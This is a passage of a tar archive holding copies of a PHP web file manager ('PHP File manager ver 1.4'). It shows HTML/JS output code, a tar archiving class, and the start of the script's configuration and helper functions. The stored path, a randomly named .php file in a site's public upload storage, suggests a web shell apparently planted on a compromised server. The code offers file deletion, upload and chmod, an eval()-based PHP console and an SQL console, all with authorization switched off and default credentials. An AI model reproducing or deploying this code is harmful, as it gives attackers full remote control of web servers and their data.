    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>1o045.php.tar000064400000236000000000000000006554 0ustar00var/www/html/back/storage/app/public/85/w8zplf/1o045.php000064400000232666000000000000016455 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
